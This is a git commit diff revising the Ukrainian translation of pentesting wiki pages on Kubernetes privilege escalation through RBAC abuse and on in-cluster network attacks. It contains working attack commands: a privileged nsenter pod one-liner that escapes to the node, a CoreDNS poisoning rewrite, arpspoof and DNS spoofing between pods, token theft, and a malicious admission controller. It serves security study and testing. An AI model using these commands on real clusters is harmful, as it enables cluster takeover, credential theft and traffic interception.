Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-04-14 22:07:48 +00:00
parent 4b5d76a989
commit e6fb1f2471
2 changed files with 135 additions and 44 deletions

View File

@@ -9,15 +9,15 @@
Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**:
- Мати можливість **вдаватись** в інших користувачів/групи/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість **вдаватись** в інших користувачів/груп/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість **створювати/редагувати/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети
- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)
- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо є)
- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді.
### Доступ до Будь-якого Ресурсу або Дії (Wildcard)
**Дикий символ (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
**Джокер (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Атакуючий, який має дозволи на створення пода, може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому:
```yaml
@@ -76,8 +76,8 @@ hostNetwork: true
Наступне вказує на всі привілеї, які може мати контейнер:
- **Привілейований доступ** (вимкнення захисту та налаштування можливостей)
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти в ескалації привілеїв
- **Привілейований доступ** (вимкнення захистів і налаштування можливостей)
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти підвищити привілеї
- **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж
- **Монтування хостів / всередині контейнера**
```yaml:super_privs.yaml
@@ -119,7 +119,7 @@ path: /
```bash
kubectl --token $token create -f mount_root.yaml
```
Однорядковий з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
@@ -141,7 +141,7 @@ _Ви можете знайти приклад того, як створити/
### Створення пода - Перехід до хмари
Якщо ви можете **створити** **под** (і, за бажанням, **обліковий запис служби**), ви можете **отримати привілеї в хмарному середовищі**, **призначивши хмарні ролі поду або обліковому запису служби** і потім отримавши до нього доступ.\
Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **викрасти IAM** роль **вузла** екземпляра.
Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **вкрасти IAM** роль **вузла** екземпляра.
Для отримання додаткової інформації перевірте:
@@ -149,7 +149,7 @@ _Ви можете знайти приклад того, як створити/
pod-escape-privileges.md
{{#endref}}
### **Створення/Патч Деплойментів, Деймонсетів, Станових наборів, Контролерів реплікацій, Реплікаційних наборів, Завдань та Кронзавдань**
### **Створення/Патч Деплойментів, Деймонсетів, Станових наборів, Контролерів реплікації, Реплікаційних наборів, Завдань та Кронзавдань**
Можливо зловживати цими дозволами, щоб **створити новий под** і отримати привілеї, як у попередньому прикладі.
@@ -204,14 +204,14 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
### port-forward
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб мати можливість легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода:
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\
Це в основному тому, що коли **Kube-API намагається отримати журнали** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\
Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\
Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**.
Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою двома способами:
@@ -323,7 +323,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
```
### Створення та читання секретів
Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів сервісу. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього:
Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів сервісів. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього:
```yaml
apiVersion: v1
kind: Secret
@@ -386,13 +386,72 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
### Читання секрету брутфорсинг ID токенів
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожна з яких асоційована з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.
### EncrpytionConfiguration у відкритому тексті
Можливо знайти ключі у відкритому тексті для шифрування даних у спокої в цьому типі об'єкта, таких як:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Запити на підписання сертифікатів
Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.**
Якщо у вас є дієслово **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.**
Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
@@ -479,7 +538,7 @@ groups:
- system:masters
```
> [!WARNING]
> Ви можете використовувати **`aws-auth`** для **постійного доступу** користувачів з **інших облікових записів**.
> Ви можете використовувати **`aws-auth`** для **постійного доступу** до користувачів з **інших облікових записів**.
>
> Однак, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\
> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
@@ -520,7 +579,7 @@ reload
loadbalance
}
```
Атакуючий може завантажити його, запустивши `kubectl get configmap coredns -n kube-system -o yaml`, змінити його, додавши щось на кшталт `rewrite name victim.com attacker.com`, так що коли `victim.com` буде доступний, насправді буде доступний домен `attacker.com`. А потім застосувати це, запустивши `kubectl apply -f poison_dns.yaml`.
Атакуючий може завантажити його, запустивши `kubectl get configmap coredns -n kube-system -o yaml`, змінити його, додавши щось на кшталт `rewrite name victim.com attacker.com`, так що щоразу, коли доступ до `victim.com`, насправді буде доступ до домену `attacker.com`. А потім застосувати це, запустивши `kubectl apply -f poison_dns.yaml`.
Інший варіант - просто відредагувати файл, запустивши `kubectl edit configmap coredns -n kube-system` і внести зміни.
@@ -529,7 +588,7 @@ loadbalance
Є **2 способи призначити K8s дозволи GCP принципалам**. У будь-якому випадку принципал також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням).
> [!WARNING]
> Коли ви звертаєтеся до K8s api endpoint, **GCP auth token буде надіслано**. Потім GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за електронною поштою) **будь-який доступ до кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
> Коли ви звертаєтеся до K8s api endpoint, **GCP auth token буде надіслано**. Потім GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за електронною поштою) **будь-який доступ всередині кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
> Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**.
Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принципал їх має, він зможе їх використовувати.
@@ -556,8 +615,8 @@ loadbalance
### Ескалація
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати ролі або clusterroles без наявності у себе цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні параметри прив'язки.\
Тоді він може оновлювати/створювати нові ролі, clusterroles з кращими дозволами, ніж ті, що він має.
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, якщо він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні параметри зв'язування.\
Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має.
### Проксі вузлів
@@ -584,7 +643,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### Стан сервісів (CVE-2020-8554)
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам з ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Стан вузлів і подів
@@ -596,7 +655,7 @@ Kubernetes має [вбудований механізм](https://kubernetes.io/
Ця система забезпечує, що **користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей**. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний.
Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим же простором імен (або на рівні кластера) для Roles.
Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим самим простором імен (або на рівні кластера) для Roles.
> [!WARNING]
> Існує виняток з попереднього правила. Якщо принципал має **дію `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів.
@@ -604,7 +663,7 @@ Kubernetes має [вбудований механізм](https://kubernetes.io/
### **Отримати та модифікувати RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що пояснена в попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.**
> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.**
Привілей створювати Rolebindings дозволяє користувачу **прив'язувати ролі до облікового запису служби**. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки **дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.**
@@ -634,9 +693,9 @@ command: ["sh","-c","<execute something in the same pod but different container>
### Зловмисний контролер доступу
Контролер доступу **перехоплює запити до сервера API Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **і авторизовано**.
Контролер доступу **перехоплює запити до API-сервера Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**.
Якщо зловмиснику вдасться **впровадити контролер доступу для модифікації**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері.
Якщо зловмиснику вдасться **впровадити контролер доступу для мутації**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері.
**Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -668,7 +727,7 @@ kubectl describe po nginx | grep "Image: "
#### Технічні деталі
Скрипт `./deploy.sh` встановлює контролер доступу з мутацією вебхука, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -688,16 +747,16 @@ Value: "rewanthtammana/malicious-image",
### **Вимкнення автоматичного монтування токенів облікових записів служби**
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнення цієї функції автоматичного монтування.
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.
### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings**
- **Селективне включення**: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки.
### **Ролі, специфічні для простору імен, замість ролей для всього кластера**
### **Ролі, специфічні для простору імен, замість ролей для кластера**
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються до всього кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
### **Використовуйте автоматизовані інструменти**

View File

@@ -4,9 +4,9 @@
## Introduction
У Kubernetes спостерігається, що за замовчуванням дозволяється встановлення з'єднань між **усіма контейнерами, що знаходяться на одному вузлі**. Це стосується незалежно від відмінностей у просторах імен. Таке з'єднання поширюється до **Рівня 2** (Ethernet). Внаслідок цього така конфігурація потенційно піддає систему вразливостям. Зокрема, це відкриває можливість для **зловмисного контейнера** виконати **атаку ARP-спуфінгу** проти інших контейнерів, розташованих на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів.
У Kubernetes спостерігається, що за замовчуванням дозволяється встановлення з'єднань між **усіма контейнерами, що знаходяться на одному вузлі**. Це стосується незалежно від відмінностей у просторах імен. Таке з'єднання поширюється до **Layer 2** (Ethernet). Внаслідок цього така конфігурація потенційно піддає систему вразливостям. Зокрема, це відкриває можливість для **зловмисного контейнера** виконати **ARP-спуфінг-атаку** проти інших контейнерів, розташованих на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів.
Атаки ARP-спуфінгу передбачають, що **зловмисник надсилає підроблені ARP** (протокол розв'язання адрес) повідомлення через локальну мережу. Це призводить до зв'язування **MAC-адреси зловмисника з IP-адресою легітимного комп'ютера або сервера в мережі**. Після успішного виконання такої атаки зловмисник може перехоплювати, змінювати або навіть зупиняти дані в процесі передачі. Атака виконується на Рівні 2 моделі OSI, саме тому стандартне з'єднання в Kubernetes на цьому рівні викликає занепокоєння з приводу безпеки.
ARP-спуфінг-атаки передбачають, що **зловмисник надсилає підроблені ARP** (протокол розв'язання адрес) повідомлення через локальну мережу. Це призводить до зв'язування **MAC-адреси зловмисника з IP-адресою легітимного комп'ютера або сервера в мережі**. Після успішного виконання такої атаки зловмисник може перехоплювати, змінювати або навіть зупиняти дані в процесі передачі. Атака виконується на Layer 2 моделі OSI, саме тому стандартне з'єднання в Kubernetes на цьому рівні викликає занепокоєння з приводу безпеки.
У сценарії буде створено 4 машини:
@@ -98,20 +98,20 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
```
## Основи мережевої взаємодії Kubernetes
Якщо ви хочете більше деталей про мережеві теми, представлені тут, зверніться до посилань.
Якщо ви хочете більше деталей про мережеві теми, представлені тут, перейдіть до посилань.
### ARP
Говорячи загалом, **мережеве з'єднання pod-to-pod всередині вузла** доступне через **міст**, який з'єднує всі поди. Цей міст називається “**cbr0**”. (Деякі мережеві плагіни встановлять свій власний міст.) **cbr0 також може обробляти ARP** (протокол розв'язання адрес) розв'язання. Коли вхідний пакет надходить до cbr0, він може розв'язати MAC-адресу призначення за допомогою ARP.
Загалом, **мережеве з'єднання pod-to-pod всередині вузла** доступне через **міст**, який з'єднує всі поди. Цей міст називається “**cbr0**”. (Деякі мережеві плагіни встановлять свій власний міст.) **cbr0 також може обробляти ARP** (протокол розв'язання адрес) розв'язання. Коли вхідний пакет надходить до cbr0, він може розв'язати MAC-адресу призначення за допомогою ARP.
Цей факт означає, що за замовчуванням **кожен под, що працює в одному вузлі**, зможе **спілкуватися** з будь-яким іншим подом в тому ж вузлі (незалежно від простору імен) на рівні ethernet (рівень 2).
> [!WARNING]
> Отже, можливо виконати A**RP Spoofing атаки між подами в одному вузлі.**
> Тому можливі атаки A**RP Spoofing між подами в одному вузлі.**
### DNS
У середовищах kubernetes ви зазвичай знайдете 1 (або більше) **DNS-сервісів, що працюють** зазвичай у просторі імен kube-system:
У середовищах kubernetes ви зазвичай знайдете 1 (або більше) **сервісів DNS**, які зазвичай працюють у просторі імен kube-system:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -145,10 +145,10 @@ nameserver 10.96.0.10
```
Однак, под **не знає**, як дістатися до цієї **адреси**, оскільки **діапазон подів** у цьому випадку становить 172.17.0.10/26.
Отже, под надішле **DNS запити на адресу 10.96.0.10**, яка буде **перекладена** cbr0 **на** **172.17.0.2**.
Тому под надішле **DNS запити на адресу 10.96.0.10**, яка буде **перекладена** cbr0 **на** **172.17.0.2**.
> [!WARNING]
> Це означає, що **DNS запит** пода **завжди** буде йти до **мосту** для **перекладу** **IP служби на IP кінцевої точки**, навіть якщо DNS сервер знаходиться в тій же підмережі, що й под.
> Це означає, що **DNS запит** пода **завжди** буде йти до **мосту**, щоб **перекласти** **IP-адресу сервісу на IP-адресу кінцевої точки**, навіть якщо DNS сервер знаходиться в тій же підмережі, що й под.
>
> Знаючи це, і знаючи, що **ARP атаки можливі**, **под** у вузлі зможе **перехопити трафік** між **кожним подом** у **підмережі** та **мостом** і **модифікувати** **DNS відповіді** від DNS сервера (**DNS Спуфінг**).
>
@@ -233,11 +233,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Як вже згадувалося, якщо ви **зламали под на тому ж вузлі, що й под DNS-сервера**, ви можете **MitM** з **ARPSpoofing** **мостом** і **подом DNS** та **модифікувати всі DNS-відповіді**.
Як вже згадувалося, якщо ви **зламали под в тому ж вузлі, що й под DNS-сервера**, ви можете **MitM** з **ARPSpoofing** **мосту** та **DNS** пода і **модифікувати всі DNS-відповіді**.
У вас є дійсно гарний **інструмент** і **посібник** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
У вас є дійсно гарний **інструмент** та **посібник** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
У нашому сценарії, **завантажте** **інструмент** в поді атакуючого та створіть **файл з назвою `hosts`** з **доменами**, які ви хочете **спуфити**, наприклад:
У нашому сценарії, **завантажте** **інструмент** в поді атакуючого і створіть **файл з назвою `hosts`** з **доменами**, які ви хочете **спуфити**, наприклад:
```
cat hosts
google.com. 1.1.1.1
@@ -260,15 +260,47 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> Якщо ви спробуєте створити свій власний скрипт для спуфінгу DNS, якщо ви **просто змініть DNS-відповідь**, це **не** буде **працювати**, тому що **відповідь** буде мати **src IP** адресу **зловмисного** **под** і **не буде** **прийнята**.\
> Вам потрібно згенерувати **новий DNS-пакет** з **src IP** DNS, куди жертва надсилає DNS-запит (це щось на зразок 172.16.0.2, а не 10.96.0.10, це IP-адреса служби K8s DNS, а не IP-адреса DNS-сервера, більше про це в вступі).
> Якщо ви спробуєте створити свій власний скрипт для спуфінгу DNS, якщо ви **просто змініть відповідь DNS**, це **не** буде **працювати**, тому що **відповідь** буде мати **src IP** адресу **зловмисного** **под** і **не буде** **прийнята**.\
> Вам потрібно згенерувати **новий DNS пакет** з **src IP** DNS, куди жертва надсилає DNS запит (що є чимось на зразок 172.16.0.2, а не 10.96.0.10, це IP адреса сервісу K8s DNS, а не IP адреса DNS сервера, більше про це в вступі).
## Capturing Traffic
## DNS спуфінг через coreDNS configmap
Інструмент [**Mizu**](https://github.com/up9inc/mizu) є простим, але потужним API **переглядачем трафіку для Kubernetes**, що дозволяє вам **переглядати всю API-комунікацію** між мікросервісами, щоб допомогти вам у налагодженні та усуненні регресій.\
Користувач з правами запису на configmap `coredns` в просторі імен kube-system може змінювати відповіді DNS кластера.
Перевірте більше інформації про цю атаку в:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## Зловживання відкритими сервісами управління kubernetes
Сервіси, такі як Apache NiFi, Kubeflow, Argo Workflows, Weave Scope та панель управління Kubernetes, часто відкриті або для інтернету, або в межах мережі kubernetes. Зловмисник, який зможе **знайти будь-яку платформу, що використовується для управління kubernetes і отримати до неї доступ**, може зловживати нею, щоб отримати доступ до API kubernetes і виконувати дії, такі як створення нових подів, модифікація існуючих або навіть їх видалення.
## Перерахування мережевих політик kubernetes
Отримати налаштовані **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Отримати **Callico** мережеві політики:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Отримати **Cillium** мережеві політики:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Отримайте інші CRD, пов'язані з політикою, встановлені вашим мережевим плагіном або рішенням безпеки:
```bash
kubectl get crd | grep -i policy
```
## Захоплення Трафіку
Інструмент [**Mizu**](https://github.com/up9inc/mizu) є простим, але потужним API **переглядачем трафіку для Kubernetes**, що дозволяє вам **переглядати всю API комунікацію** між мікросервісами, щоб допомогти вам у налагодженні та усуненні регресій.\
Він встановить агенти в обраних подах і збиратиме їх інформацію про трафік, показуючи вам це на веб-сервері. Однак для цього вам знадобляться високі дозволи K8s (і це не дуже непомітно).
## References
## Посилання
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)